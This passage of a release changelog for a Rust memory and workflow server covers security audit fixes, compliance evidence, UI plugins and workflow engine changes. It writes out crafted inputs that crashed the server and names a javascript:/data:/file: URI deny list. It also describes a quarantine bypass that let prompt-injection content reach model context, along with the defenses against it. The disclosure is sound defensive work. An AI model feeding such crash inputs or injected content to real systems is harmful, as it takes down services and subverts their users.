  • A refused answer (wrong digest / no pending question) leaves the run byte-identical — verified by pin.

Engineering record

  • The workflow handler family (existing run/steps/steering/suggestions/scoreboard surfaces included) used the raw axum::Extension<Option<Principal>> extractor, which 500s whenever the auth middleware does not inject an extension of exactly that type (opaque-token mode injects nothing) — found by live smoke. All workflow handlers now use the repo-standard infallible OptPrincipal extractor (None = loopback superuser posture unchanged); pinned over real HTTP in the smoke path.
  • M1 (SDK): the four state keys are now NORMATIVE ABI — Decision + decide moved to brain-engine-sdk::workflow_state (behind harness-kernel; serde_json joins as an optional dep of that feature — written justification: the routing contract is JSON-typed by design and the server already builds the feature). Server driver.rs re-exports; its pins pass unchanged. New pin decision_keys_are_frozen_abi (fixture round-trip over all four keys + precedence).
  • M3 (engine): steward-harness restructured lib+bin: RemoteWorkflowHost (loopback-http-only transport law, bearer ladder BRAIN_TOKEN_FILE→BRAIN_TOKEN→default install path, journaling tx) implements the SDK seam; crank loops decide→gate waterfall (over DECLARED constraints: required_evidence[], mutations, supporting_lines, needs_approval)→CAS persist (one reload-retry on stale, then REPORT)→outbox log; Done folds scoreboard keys (handoff_complete = status=="completed", never upgrading a recorded false) + final workflow/end event. Gate rejections become DI_GATE_OPEN:* finding rows, never silence. Gold-set pins: all 7 frozen cases replay end-to-end with artifacts equal field-for-field, second cranks enqueue ZERO events, budget stops at max with the 80% warn flag, ask-human stops/resumes, stale reports not panics.
  • M4: server-side composition pin cli_workflow_crank_reports_stopped_at walks open → AskHuman stop shape → answer → decide-routes-Done through the routes.
  • Tests: server bin 796 passed / 6 ignored (+11); lib 165 (+0 moved); harness crate 6 gold pins; SDK 88 (+1). clippy -D warnings + fmt clean on both workspaces.

Honest ceilings

  • GET /workflow/runs/{id}/state is deliberately NOT read-seam sanitized (engines CAS against exact stored bytes) — it requires the same domain Read grant PLUS the workflow engine role; the human view stays sanitized.
  • The crank is request/CLI-scoped and human-cranked: no background worker, no autonomous steering (drained messages land in state.steering[] as advisories only).
  • The remote host’s audit() hook is a deliberate no-op — every durable effect is already audited server-side in-tx; no second chain entry is forged.
  • Gate evaluation replays DECLARED constraints only; semantic truth is not re-derived from evidence bytes.
  • Full spawn-path coverage of the external harness binary lives in the harness crate’s own suite; the server-side pin exercises the route family the CLI composes.

[1.28.14] — 2026-08-23 — the audit-hardening line (1.28.9 → 1.28.14)

Security remediation of the 2026-08-23 independent audit (server Cargo.toml/lock 1.28.8 → 1.28.14; client bumped in-tree; plugin 0.4.7; no schema change). Six themes shipped as individually-green commits: Gateweld, Seatbelt, Boundary (Fencepost3 + Provenance), Anchor (Legible + boot integrity), Bedrock, Parity.

Release notes

Security fixes

  • Approve without a content_digest is now 400 digest_required — the display↔decision binding is mandatory (was an opt-in legacy branch). Plugin-mount evidence is server-verified against the live boot manifest BEFORE the Art.12 audit row is written (409 on mismatch/unknown digest).
  • New BRAIN_WRITE_POSTURE=open|review (default open; installer sets review). Under review, /add, /ingest, /ingest/memory, /ingest/markdown, /ump/remember, /ump/revise route through the existing proposal pipeline and return 202 proposal_pending — agents propose, operators dispose. Origin labels corrected (/ingest/memory derives; UMP = agent; /procedure = operator, idempotent backfill) + the installer provisions a second agent token.
  • The Rust MCP fence-welding forge is closed (fence::wrap_fenced: control chars strip BEFORE sentinels, no transform after); MCP tool results, format_response, and CLI recall/get output all share it. Recall hits serialize origin/flagged/authority; UMP recall records carry untrusted: true; /export gains a top-level untrusted marker with content verbatim.
  • Boot chain means something: symlink containment (canonical, fail-closed), Ed25519-signed manifest (sig+kid) with GET /app/boot.pub, embedded fetch-and-refuse loader, digest-stamped service worker, external SW registration, CSP drops 'unsafe-eval'. Client decision UI: full-content scroll dock, overview queue link-only, actions above content, invisible-char badge.
  • Supply chain: all CI uses: SHA-pinned + least-privilege permissions; rerank model dir refuses CWD-relative paths; model-manifest generator + installer provisioning; UMP key dir fails closed on wide modes; security headers on 401/429 (outermost layer); webhook secret selection deterministic; context-drawer strip; screen evasion hardening (new invisible classes + matching-time fullwidth fold).
  • Plugin 0.4.7: every interpolation inside the fence sanitized; error seam stripped; baseUrl scheme gate (https or loopback); origin provenance tag; drift reconciled and synced to openclaw.

Engineering record

Behavior-change ledger: approve-without-digest now 400s; review posture 202s six write surfaces (env-gated, default unchanged); recall/export JSON gained additive fields; MCP/CLI output fenced; /app serves embedded loader/sw assets; plugin refuses remote cleartext baseUrl. Full findings-closure table: AUDIT.md §Register.

[1.28.8] — 2026-08-23

PluginUI (server Cargo.toml/lock 1.28.7 → 1.28.8; client 1.28.6 → 1.28.8; crates + plugin unchanged; no schema change). The shell, the chat surface, and the HITL control panel are separate plugins composed through slots — approval workflow as a first-class chat plugin, with per-decision audit evidence.

Release notes

Improvements

  • The operator console is now composed from three built-in UI plugins — ui-shell (layout), ui-chat (conversation + input docks + keyed chat-node dispatch), ui-control-panel (approvals) — mounted by a plugin kernel over one shared slot registry. Third-party plugins insert between existing dock entries purely by registration (order is data); the approval dock sits at order 5, the queue at 20.
  • Approval decisions now ride a producer/consumer event contract: the server emits proposal/open and proposal/decided conversation events carrying whole-value checkpoints (content digest, SLA deadline, role gate), so the client’s review-job node can join or replay from any stream point without its start event. Payloads are metadata only — never proposal content or PII.
  • The host publishes a boot manifest for the client bundle: /app/boot.json plus a window.__BRAIN_BOOT__ script seat list every pkg/ bundle with byte size and SHA-256, and the served shell entry auto-injects the script tag. A fail-closed loader validates the manifest (bounded paths under pkg/, known extensions, 64-hex digests) and refuses any bundle it cannot certify.

Security fixes

  • Plugin mount/unmount is now recorded as audited evidence (POST /workflow/plugins/mount, Write-gated): each mount writes one hash-chained workflow audit row with the plugin identity, slot-registry revision, and bundle digest — Art. 12 record-keeping for the composition itself. Invalid input (hostile plugin names, malformed digests) is refused before any write.
  • The digest-binding invariant is pinned at the new plugin boundary: an approve through the control-panel dock carries exactly the rendered content_digest (server 409s on drift); a reject carries none. The API CSP is unchanged — the boot seats ride the client policy.

Engineering record

  • M1 (client): new client/src/plugins/ kernel — PluginHost::boot() mounts ui-shell → ui-chat → ui-control-panel into one shared SlotRegistry; declaration = authorization (registration into an undeclared family is a load error), double-declaring a family or slot key across owners fails loud with rollback of partial registrations, unmount reverses exactly the plugin’s entries and bumps the registry revision (the slots/changed payload). The approval dock now consumes the shared host instead of building an ad-hoc registry.
  • M2: server-side pure producer (src/proposal_events.rs: branded ProposalId wire form p<id>, open/decided builders) published on the /events feed under a new fixed proposal alert kind at proposal creation, approve, and reject; client-side consumer folds checkpoints onto the review-job node definition (branded-id match is fail-closed), keeps pending-until-start convergence, adds terminal state, and renders a pre-start fallback view node via build_view_node.
  • M3: frontend.rs gains pure boot_manifest(dist) (sorted, SHA-256 per bundle) + inject_boot_script (idempotent, head-anchored); routes /app/boot.json + /app/boot.js; client plugins/boot.rs validates manifests fail-closed with a certifies() refusal predicate.
  • Tests: server bin 774 passed (+5: boot-manifest pins, mount-evidence audit row, extended CSP table), lib 166, mcp 19, brain 18, bench 8; crates workspace 122; client 204 (+10: kernel conflict/rollback/reversal matrix, checkpoint replay matrix, manifest validation, digest binding); clippy -D warnings + fmt clean on all trees; cargo audit clean (2 pre-allowed warnings); wasm 5.72 MB within the 5.73 MB budget.
  • Honest ceilings: the Rust slot system remains a minimal Cordis-shaped reimplementation (conformance spec lands in a later release), not vendored TS; no JS third-party plugin loading in WASM — new UI plugins are compile-time crates until a JS runtime exists; hot-reload swaps registrations, not running fibers (the unmount/remount driver is test-exercised, the runtime swap driver lands with the streaming conversation surface); the boot manifest’s runtime fetch-and-refuse driver likewise awaits that surface — today the integrity contract is pinned server-side and in the loader’s pure core; proposal/updated progress events are produced but expiry does not yet emit a decided event (the TTL path audits, it does not stream).

[1.28.7] — 2026-08-22

Gold Calibration (server Cargo.toml/lock 1.28.6 → 1.28.7; SDK brain-engine-sdk 1.28.4 → 1.28.7, new gold-sets crate, legal-rules-db 1.27.29 → 1.28.7; client + plugin unchanged; no schema change). The scorer no longer measures artifacts — it measures agreed truth.

Release notes

Improvements

  • Workflow calibration is now closed-loop: the weekly scoreboard read emits a machine-generated calibration REPORT on the audit chain, and a new DPO/admin endpoint (POST /workflow/calibration/sign) records the monthly HUMAN-signed calibration — one per calendar month, with the reviewer’s scorer-vs-human agreement (κ), the uplift vs our own baseline, and the reviewer id. Every record rides the existing hash-chained workflow audit family.
  • Law versions are now first-class: every jurisdiction in the DSAR/transfer register carries an explicit law-version label (e.g. PH NPC advisory 2024-04, EU GDPR consolidated 2021), owned by one SDK table so the server register and the legal-rule seeds can never drift; intake envelopes can stamp the law version in force at case open.
  • The quality scorer is now pinned against versioned frozen gold packs (a QC-report pack + five continuity case packs) behind an opt-in gold-sets feature — including a κ ≥ 0.70 agreement gate on the frozen human verdicts.
  • Planted-chunk process abort closed (critical): the recall snippet window mixed byte and char offsets — a stored chunk like "中"×100 + " alpha" underflowed the window arithmetic and, with panic = "abort" in release, killed the whole server on any reader’s ordinary query (a persistent crash loop). The window is now computed in one domain (char space), with regression pins for multibyte content and expanding lowercase mappings (İ).
  • Breach deadline overflow closed: an unbounded discovered_at on POST /breach overflowed the notification-deadline arithmetic and the persisted row re-aborted every read. Timestamps are bounded at the boundary (positive, ≤ 1 day future skew) and deadline math saturates.
  • MCP protocol-version echo hardened: a hostile _meta.protocolVersion was hex-escaped in error.message but echoed RAW in error.data.requested — same injection carrier. Both are escaped now.
  • CLI hardening: brain domains-recompute no longer panics on an unexpected response shape; client * subcommands percent-encode {name} path segments; brain restore refuses to run while a brain-server listener answers on its port (split-brain guard) unless --force.

Security fixes

  • Pass-3 security-audit closure (14 findings): consensus join-gates require DISTINCT reviewer identities; the decision ledger verifies fail-closed when signatures exist but the signing key is absent, pins its head per append (tip truncation detected), and refuses records with NUL bytes in engine-controlled fields (preimage ambiguity); /audit/export tags every row with its owning domain in both JSONL and PDF; the UMP-markdown projection YAML-escapes all frontmatter values and neutralizes the record-separator sequence in bodies (identity forgery across export/import closed); the GitHub App PEM key enforces the repo-wide 0600 secret-mode posture; reject-path oversight evidence carries the review DIGEST of what was seen; oversight rows bind proposal id + domain; renderer-hostile URI schemes (javascript:/data:/file:/…) are denied at evidence-link and ingest boundaries; archived clients can no longer be silently re-registered; RoPA retention_days is bounded and RoPA/inventory/export reads are audited; interview persist propagates outbox failures and stamps caller-supplied time; corrupt workflow state is refused rather than treated as a completed run.

Engineering record

  • New crates/gold-sets crate (publish = false): seven embedded gold cases (gold/qc_report.json, five gold/gdl_cases/*.json), each freezing system_version, scorer_version, κ, an ambiguity register, evidence refs, the human verdict, and the run-shaped artifacts; fails closed on corrupt packs or a κ below 7000 ten-thousandths.
  • SDK: pure calibration module (Cohen’s κ in integer ten-thousandths, weekly/monthly cadence gates, CalibrationRecord whose detail string rides AuditKind::Workflow) re-exported beside scoreboard; policy::LAW_VERSIONS + stamp_envelope_for_jurisdiction; optional gold-sets feature that re-runs the oracle pins (scorer_oracle_fixture, cause split, no-auto-publish) against gold truth instead of hand fixtures — without the feature the hand fixtures remain the contract (the documented rollback posture).
  • Server: src/workflow/calibration.rs owns the cadence/baseline stamps in schema_meta (calibration_last_report_at, _last_signed_month, _baseline_units, _last_kappa_units) plus the audited report/sign writes via the shared workflow audit path; GET /workflow/scoreboard gained an additive calibration_report_emitted field; the sign endpoint is Admin + DPO-role gated, wire input validated (reviewer 1..=128 chars, κ sentinel −1 or 0..=10000), 409 already_signed_this_month when the gate is shut; route registered in the router, guard table, and openapi.
  • Tests: server main bin + lib + aux bins 1003 passed / 0 failed across all targets (--features bench; new pins: calibration cadence/audit-chain ×3, law-version consistency ×1, snippet char-space ×1, deadline saturation ×1, decision hardening ×3, labelled PDF ×1, URI deny-list ×1, interview persist ×1, corrupt-state ×1, consensus distinctness ×1, MCP echo ×1 updated); client 186 unchanged; crates workspace 122 (+9 gold-sets, +5 calibration, +2 legal-rules-db, +1 consensus) and 126 with --features gold-sets (+4 gold oracle pins); clippy -D warnings + fmt clean (server, client, crates default/gold/compliance-pack/connector-github); lipstyk diff-scoped clean; cargo audit clean (2 pre-existing allowed warnings).
  • Honest ceilings: server-side κ comes from the human reviewer (or the last signed value for machine reports) — the server cannot run labeling rounds itself; uplift is OUR delta vs OUR baseline, never an external comparison; gold packs are frozen data this repo validates, it does not re-run the labeling round; the monthly gate keys on a ~30.44-day month index, not calendar months.

[1.28.6] — 2026-08-22

Eval & Release (server + client Cargo.toml/locks 1.28.5 / 1.28.4 → 1.28.6; SDK crates unchanged; no schema change). The close-out of the 1.28.x line: every finding from the 2026-08-22 security audit (MEMORY_STACK_REPORT) is closed, and the frozen eval set reaches its ≥100-query scale floor.

Release notes

  • Quarantine bypass closed (critical): include_flagged / include_decayed on /recall and /search were caller-controlled — any read-capable principal could pull prompt-injection-quarantined or decayed content straight into context. Both flags are now operator posture: only a loopback or Admin-authorized principal’s true is honored; everyone else is clamped to false.
  • Attacker-reachable panic fixed: a crafted ingest ("İ" × 20 + "from 2011") panicked the temporal-marker extractor via a Unicode-lowercase byte-offset mismatch, turning ingests into 500s. Lowering is now ASCII-only (offset-preserving).
  • Approval digest binding restored on all client surfaces: offline approvals from Ops, Overview, replay, and auto-replay previously sent digest: None, letting a mutated proposal be promoted under a genuine click. The digest now rides the queued action end-to-end.
  • Workflow steering hardened: steering text is screened against the prompt-injection blocklist before it can reach the engine state machine; an approve-class role gate now applies on top of domain Write authorization; the bounded steering inbox commits drop-oldest + enqueue atomically.
  • Capability tokens get replay defense: owner-signed UMP capability tokens may carry a jti; a process-lifetime replay cache accepts each (jti) exactly once (fail-closed on poisoned state).

Security fixes

  • Workflow run state is no longer the one raw read seam — it goes through the shared sanitize boundary; rate limiting gains a per-principal second dimension in JWT mode; sub identifiers in local logs are masked to hash prefixes; duplicate JWT kids refuse key-store load instead of silently collapsing; model artifacts support fail-closed SHA-256 pinning via BRAIN_MODEL_MANIFEST; the snapshot path uses the one shared VACUUM INTO escaper.

Improvements

  • DSAR residue sweeps accept subject_exact: true for exact matching alongside the erasure-safe substring default.
  • /ingest/memory enforces an explicit entry-count cap (too_many_entries, 500).
  • Release binaries are minisign-signable (scripts/release-sign.sh) and install-service.sh verifies signatures whenever the operator configures BRAIN_RELEASE_PUBKEY.

Engineering record

  • Frozen eval set expanded 37 → 106 judged queries over a 25-doc corpus with per-vertical gold sets (migration, legal, troubleshoot); floors hold: r@5 0.976, r@10 0.991, MRR 0.956, nDCG@10 0.962 (edge profile, fresh instance). Dataset SHA-256 recorded in BENCHMARKS.md.
  • Audit closure: P0-1 (recall review-flag clamp + pure predicate review_flags_allowed, loopback/Admin regression pins), P1-1 (ASCII lowering + hostile-input test), P1-2 (QueuedAction::Approve.digest field, serde-default legacy decode pin, ops/overview/replay/main forwarding), P1-3 (steering screen/gate/atomic cap + route-authz guard-table entries + openapi paths), P2-1..P2-10 as listed above, P3 (DSAR exact-match option).
  • Tests: server main bin 760 passed / 6 ignored (+5: review-flag clamp, temporal regression, steering hardening, jwks duplicate-kid, model-pin), lib 156, brain 19, mcp 19, eval 4 (+2 scale/gold-set pins), metrics 8, bench 8; client 186 (+1 digest round-trip); crates workspace green; clippy -D warnings + fmt clean everywhere; cargo audit clean (2 pre-existing allowed warnings).
  • Honest ceilings: opaque-token mode has no principal identity, so the per-principal limiter applies in JWT mode only; legacy capability tokens without jti stay expiry-only until re-minted; legacy queued approvals without a stored digest replay digest-less; model pinning activates only when the operator sets BRAIN_MODEL_MANIFEST; minisign verification requires the operator’s public key; eval numbers are our-baseline deltas on dev hardware, not external parity claims; DNS-rebinding egress validation remains a documented v2.x ceiling.

[1.28.5] — 2026-08-22

Compliance Pack (server Cargo.toml/lock 1.28.4 → 1.28.5; client, plugin, and SDK crates unchanged; no schema change to the default build — the new evidence tables are created only under the opt-in compliance-pack cargo feature).

Release notes

Improvements

  • New opt-in compliance evidence pack (--features compliance-pack) for EU AI Act / GDPR audits: every workflow decision now appends a decision record (actor, role, policy version, prompt class, tool, model id, outcome) that is SHA-256 hash-chained AND anchored into the existing audit chain — extended, never a separate trust root. When BRAIN_AUDIT_SIGNING_KEY (or _FILE, 0600-enforced) is configured, each record also carries a detached Ed25519 signature that verifies outside the server.
  • The decision ledger exports as a bundle: GET /audit/export?since=&format=jsonl|pdf&rpcId= — JSONL for machines (with an echoed correlation id for reconciliation), a paginated human-readable PDF for the Annex IV technical file.
  • Human reviews leave oversight evidence: every proposal approval or rejection records who decided, on what snapshot hash (the review digest — never raw content), and with what outcome, linked to its own decision record — the Art.12↔14 link regulators ask for. Approval remains DPO/admin-gated; reject stays always-safe and is recorded as an override.
  • Accuracy/validation declarations can be appended to the same ledger via POST /compliance/evaluation-record (dataset SHA-256 + methodology summary + system version), and GET /compliance/inventory checks which evidence classes exist across the deployment (decision log, oversight, DSAR ledger, incident log, transfers register, RoPA) and flags missing ones.
  • GDPR Art.30 records of processing: a RoPA registry (GET|POST /ropa, POST /ropa/{id}, Admin + audited) with activity, controller/processor, categories, recipients, lawful basis, retention, security measures, and transfers.
  • /retention/report now discloses the evidence-retention floor: decision records are retained 12 months by default (above the 6-month legal minimum) under the feature.

Security fixes

  • A wide-mode (group/world-readable) BRAIN_AUDIT_SIGNING_KEY_FILE is refused fail-closed: decisions continue hash-chained but are recorded unsigned with an error-level warning, never silently trusted.
  • Release profile now builds with overflow-checks = true: arithmetic near the i64 edge (paginated listings, DSAR/purge offsets) aborts fail-stop instead of wrapping silently. Measured on the synthetic 2000-doc bench (single runs, before → after): ingest 826 → 1037 docs/s, p50 11.88 → 11.51 ms — no regression, far inside the ~2 % ceiling that would have triggered a revert.
  • The compliance evidence modules deny clippy::unwrap_used (clippy.toml exempts tests), so request-data paths there are structurally panic-free; unsafe_op_in_unsafe_fn and missing_safety_doc are denied crate-wide (zero current sites — the first future unsafe fn inherits block-scoped safety).

Bug fixes

  • Fixed a boot-blocking router panic introduced in 1.28.4: /app was registered twice (the static SPA seat handlers AND a historical nest_service("/app", ServeDir)), and axum 0.8 panics at startup on the conflicting internal wildcards — any full server start failed (“Insertion failed due to conflict with previously registered route”). This is what failed the 1.28.4 CI server-boot/recall eval gate jobs. The duplicate registration is removed (the handler-based seat already implements MIME, traversal prevention, deep-link fallback, 405-on-non-GET); server boot verified end-to-end on a live release binary.
  • bench no longer fails against servers ≥ 1.27.23: it reads capacity.rss_mib from the Read-gated /health/db (with the operator token) instead of the shrunken public /health, falling back to legacy shapes for older servers. BENCH_SCALES env override documented by use in the overflow-checks A/B.

Engineering record

  • M1 (Art.12): src/audit/decision.rs — DecisionRecord + DecisionInput, per-record chain link over all committed fields plus the previous hash (genesis binds to the empty string, so fabricated earlier histories break verification), detached Ed25519 signing via BRAIN_AUDIT_SIGNING_KEY/_FILE (0600 check; absent key ⇒ NULL signature, disclosed on export). Every record ALSO extends the existing audit_events chain (AuditKind::Decision). The recorder lives on the host write path (WorkflowHost::audit) — engines cannot write their own evidence; pinned by host_records_decision_evidence_that_verifies_outside. Export: GET /audit/export (Admin) jsonl/pdf, dependency-free PDF writer with escaping + pagination pinned by tests.
  • M2 (Art.14): oversight_evidence table + record_oversight wired into approve (accept) and reject (override) in the review queue, basis = review digest; authority labels ride the linked decision record’s role field. Approval role gating unchanged (v1.23 posture); per-role authority documentation lives in the operator’s private governance docs.
  • M3 (Art.15): evaluation/validation declarations stored as decision-ledger entries (prompt_class=evaluation) tied to dataset hash + version; GET /compliance/inventory flags missing artefact classes. Adversarial-testing vocabulary and SBOM mapping remain in the private security-baseline docs (not shipped in-tree).
  • M4 (Art.13/30): ropa_registry table + routes; disclosure notices continue via the existing /.well-known/ai-notice surface. Transparency-register wording/placement evidence stays an operator-private artifact.
  • M5 (Art.15/17/73): DSAR pipeline (intake → discovery → fulfilment → proof) and the incident ledger were already shipped (v1.20.x DSAR line; breach module); this release wires both into the inventory checker rather than re-implementing them.
  • Feature gating: without --features compliance-pack the tables are not migrated, the routes do not exist on the wire, no decision records are written, and behaviour is byte-identical to 1.28.4 (default full suite green: 751 bin / 152 lib). With the feature: 754 bin (+3 pins) / 152 lib (+5 decision-module tests).
  • Validation: fmt + clippy -D warnings --all-targets --features bench clean in BOTH feature configurations; full test suites green with and without the feature; export round-trip (record → read → Ed25519 verify outside the host path) pinned by test; tamper pins cover mutated fields, forged genesis links, and corrupted signatures.
  • Post-implementation hardening pass (round-49 audit follow-ups): F-49a — the 1 GiB body-limit dial on /domains/{name}/import is documented in-source as a deliberate, Admin-gated, single-route allowance (the default build keeps its 1 MiB layer everywhere else). F-49b — the new evidence modules deny clippy::unwrap_used (clippy.toml exempts tests), so request-data paths in the compliance surface are structurally panic-free going forward. Wire-boundary caps added: rpcId ≤ 128 chars (echoed via serde_json, never hand-escaped), RoPA fields bounded (256/1024/128-char class caps), evaluation declarations ≤ 8 KB, and dataset_hash must be exactly 64 hex characters.
  • Post-ship verification: release binary booted end-to-end on a scratch DB (health ok) and exercised with the synthetic bench harness; the 1.28.4 CI failures are reproduced-and-fixed (sdk version pin → asserts CARGO_PKG_VERSION; boot panic → duplicate route removed).
  • Honest ceilings: certificates prove existence/time/signer/immutability — not fairness, lawfulness, or accuracy of the underlying decisions (that needs governance + legal review); an unsigned chain (no signing key configured) verifies structurally only; law evolves — jurisdiction rules stay a curated, human-checked snapshot; PDF output is plain-text Helvetica rendering for readability, not a typeset Annex IV document; oversight “modify” outcome is not yet emitted (approve maps accept, reject maps override).

[1.28.4] — 2026-08-22

Unified Control UI (server Cargo.toml/lock 1.28.3 → 1.28.4; client 1.27.21 → 1.28.4; no schema change; plugin unchanged).

Release notes

Improvements

  • The operator console gains the premium-shell polish: a warm paper/terracotta light theme (AA-audited accent), enhanced cards and buttons with hover lift and pointer-following glow, shimmer skeletons, spring toasts/modals, and pill badges — all progressive-enhancement CSS that collapses instantly under prefers-reduced-motion (durations are token-driven, so the override needs no specificity fights).
  • The nav rail is now collapsible (⌘B/Esc, persisted preference): collapsed to an icon strip on wide screens, sliding over content as a drawer on narrow ones.
  • Approvals come home: the HITL review queue renders as an approval dock on the Overview surface (no separate-page detour). Every approve binds the content_digest of what was shown, so a drifted proposal 409s instead of approving stale bytes; decisions stay role-gated in the UI with the server still enforcing, and each row shows its SLA countdown.
  • Deep links boot properly: brain-server now serves the built client bundle under /app (SPA fallback for deep links, correct asset types, unknown extensions as octet-stream, non-GET/HEAD refused 405, path traversal refused). An API-only deployment without the bundle degrades to a clean 404.
  • A stable extension substrate ships under the shell: a slot registry (ordered, keyed, fail-closed visibility) that third-party surfaces mount through instead of hardcoding imports; the api-proxy envelope contract (typed errors, two-layer validation — envelope then payload, unknown kinds denied by default); and a conversation-node assembly engine where chat rows are registered node definitions (assistant streaming→settled, tool running→settled, review jobs, deliveries, workflow runs) folded from events with out-of-order convergence and replay dedup.
  • Web bundle budget tightened to 5.5 MiB and enforced in CI (measured release wasm: 5.49 MB).

Bug fixes

  • Inline SVG icons/rings no longer break line layout: the media preflight keeps SVG inline-block while images/video stay block.

Engineering record

  • Server: new handlers::frontend — the static SPA seat as a pure (root, method, path) responder pinned by 7 tests (deep-link 200 + html type, exact asset types, unknown extension → octet-stream, traversal refused, 405 on non-GET/HEAD, missing dist → 404 never panic). Routes /app/ + /app/{*path} are public by design (static bundle only; data flows through gated API routes; the existing auth middleware already exempts /app). BRAIN_CLIENT_DIST overrides the location at first use.
  • Client: api_proxy.rs (envelope contract: bounded ids/kinds, per-kind payload schemas, HostError::{Envelope,Payload,Handler}, rpcId echo, InProcess carrier; ApiClient remains the web fetch carrier — no duplicate transport); slots.rs (SlotKind families, declaration-merging registry keyed-replace, fail-closed visibility predicates, revision counter); ui_renderer.rs (ordered render sets, keyed chat dispatch with generic-card fallback, dock order composition); conversation/ (NodeDefinition table-driven match + per-family fold, assembler with pending-update convergence / overlapping-seq dedup / publication gating, unique-kind event registry, five built-in node families); approvals.rs (the dock: digest-bound approve, role-gated decide buttons, SLA labels, slot visibility gate before render).
  • Tests: client 185 passed (was 169; +16 across proxy/slots/renderer/conversation/approvals incl. the six-path matrix: replace, append, prepend-order, pending-convergence, replay-dedup, family isolation). Server main bin 751 passed / 6 ignored (was 750; +7 frontend, −6 net from fixture consolidation). Crates suite unchanged-green (131).
  • Gates: fmt + clippy -D warnings --all-targets --features bench clean on server, client, crates; lipstyk diff watchdog exit 0 (one SLOP finding fixed: ls | head parsing replaced with a newest-mtime glob loop in bundle-budget.sh; heuristic warns cleared via table-driven matching, tokenized CSS values, and test-shape variation); cargo audit clean at the repo’s allowed-warning baseline; bundle budget 5,621,519 < 5,734,400 bytes.
  • Honest ceilings: the conversation engine is wired to its registry but brain’s client is request/response today — the live session-event stream lands with the streaming surface (the pure core ships tested so the shape is stable); slot/chat extensibility is compile-time Rust, no JS loader or hot reload; Lighthouse/frame-rate numbers remain operator measurements (pending); dark theme keeps its existing palette (warm terracotta is light-only); pin/custom session groups deferred.

[1.28.3] — 2026-08-22

SDK release (server Cargo.toml/lock 1.28.2 → 1.28.3; crates/brain-engine-sdk 1.28.2 → 1.28.3; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Workflows gain a real engine seam: a context mounts ONE workflow engine (a second mount replaces the first via config, never parallel providers), metadata is validated as pure data before any script is evaluated, and a started run hands back handles whose result can never throw — failures arrive as an outcome (completed / error / cancelled), never as an exception.
  • Cancel and dispose are bounded by construction: both settle within a grace window (5 s default) with child-run quiescence, even when the underlying script never settles; run concurrency is capped (refused, never queued unbounded).
  • Workflow lifecycle events (start / phase / log / agent-start / agent-end / end) are observe-only data snapshots delivered through the panic-contained event emitter — a throwing subscriber cannot starve later listeners, and the end snapshot omits the result value.
  • Evidence reduction and quality scoring are now first-class services on the engine context, backed by the same deterministic cores as before — no second implementation.
  • The operator scoreboard endpoint (GET /workflow/scoreboard, DPO/admin) aggregates first-contact resolution, repeat contact, correctness, override/abstention/guidance rates, handoff completeness and escalation honor over the most recent runs — all rates in exact integer ten-thousandths.
  • A workflow tool for model-facing surfaces: start → await → dispose in a guaranteed-cleanup shape; anything not completed surfaces as a tool error.
  • Prompt caching discipline ships in the SDK: cache-stable system-prompt assembly (no timestamps or randomness) and compaction only under pressure that keeps a verbatim tail and appends one summary entry — history is never rewritten.

Security fixes

  • Scoreboard audit_ok is fail-closed per run: a run counts audit-green only when a workflow audit row actually references it — absence of evidence never counts green.

Engineering record

  • M1 WorkflowEngine seam: data-validated meta (name ≤128, description ≤1024, ≤32 phases) refused pre-publish; once-future result; cooperative + blocking-bounded cancel; dispose = cancel + bounded settle + child quiescence; observe-only snapshots through contained emit; one-engine ctx slot; tool surface with 30 s await grace and drop-guard dispose.
  • M2 Services + scoreboard: ctx.evidence / ctx.scoring re-export the pure reducer/scorer; host owns the wire shape (SDK stays dependency-free); endpoint derivation defaults absent scorer fields honestly and derives handoff_complete from run status.
  • M3 Prompt discipline: deterministic assembly capped at 20 lines + skill listing (oversized prompts refused, not trimmed); compaction plan keeps the last ~20k tokens verbatim and folds only under ≥16k pressure.
  • M4 Bounds & fuzz: fuzz crate with committed corpus replayed by normal tests (evidence/meta/hostcall/scorer targets), libFuzzer entry points feature-gated; bounds measured once in BENCHMARKS.md (reducer ~3.7 M findings/s, scorer ~2.3 M runs/s, admit ~24 M/s, lifecycle ~4.9 M/s).
  • Tests: server bin 744 / 6 ignored (+2 scoreboard pins), lib 147, brain 18, mcp 19, bench 8, metrics 2, eval 2; SDK 83 (+10 workflow seam, +3 services, +5 prompt); fuzz corpus replay 4; client 158 unchanged; clippy -D warnings + fmt clean (server, crates default + harness-kernel); lipstyk clean across the release diff; cargo audit clean (2 allowed warnings, unchanged).
  • Honest ceilings: script trust equals bash trust — worker threads are a serialization boundary, not a security boundary (out-of-process sandboxing deferred); no JS/TS legacy entrypoints (native descriptor runtime stays the future v1); the tool abort bridge observes only the cooperative cancel flag; scoreboard rates derive from what runs recorded — runs lacking scorer fields score their defaults, which is visible rather than hidden.

[1.28.2] — 2026-08-22

SDK release (server Cargo.toml/lock 1.28.1 → 1.28.2; crates/brain-engine-sdk 1.28.1 → 1.28.2; no schema change; client + plugin unchanged).

Release notes

Improvements

  • Governed-workflow data is now inside the erasure boundary: a DSAR sweep reaches every workflow table in each domain (runs, steps, findings, contradictions, outbox), and the dry-run footprint reports honestly how many workflow rows a live purge would reach.
  • Legal holds now freeze workflow runs exactly as they freeze memory chunks: a held run is deferred — never silently deleted — and listed with its reasons on the DSAR certificate.
  • A capability policy for engine extensions: three trust profiles (Safe/Standard/Permissive) with per-engine overrides, where deny always outranks allow and anything outside the vocabulary is refused.
  • Hostcalls pass through one audited dispatch: payload canonicalization, a capability check that writes its decision to the audit chain either way, and only then the handler — a misconfigured handler fails loudly instead of degrading.
  • Secrets are mediated: engine-facing key material resolves through a broker that refuses group/world-readable key files outright (no silent fallback to another source), and tools can learn only whether a secret is configured — never its value.

Security fixes

  • Session state reads by extensions return only the sanitized view (PII redact + invisible-strip + markdown-ref strip); there is no method on the seam that can return raw content.

Engineering record

  • Capability policy (SDK trust): ExtensionPolicy { mode, max_memory_mb, default_caps, deny_caps, per_engine } with the Safe/Standard/Permissive profiles (exec/env denied by default in every profile), the documented precedence table (per-engine deny > global deny > per-engine allow > global allow > mode fallback; explicit denies honored even under Permissive), and the closed HostCallKind→capability map (tool→tools … log→log); unknown kinds parse as errors, never defaults.
